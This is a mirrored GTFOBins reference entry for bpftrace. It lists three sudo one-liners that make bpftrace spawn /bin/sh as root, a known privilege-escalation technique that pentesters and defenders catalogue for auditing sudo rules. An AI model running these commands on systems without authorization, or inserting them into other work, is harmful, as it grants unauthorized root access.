1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2024-11-08 15:59:17 +01:00
GTFOBins.github.io/_gtfobins/bpftrace.md
2020-01-03 14:11:37 +01:00

260 B

functions
sudo
code
sudo bpftrace -e 'BEGIN {system("/bin/sh");exit()}'
code
TF=$(mktemp) echo 'BEGIN {system("/bin/sh");exit()}' >$TF sudo bpftrace $TF
code
sudo bpftrace -c /bin/sh -e 'END {exit()}'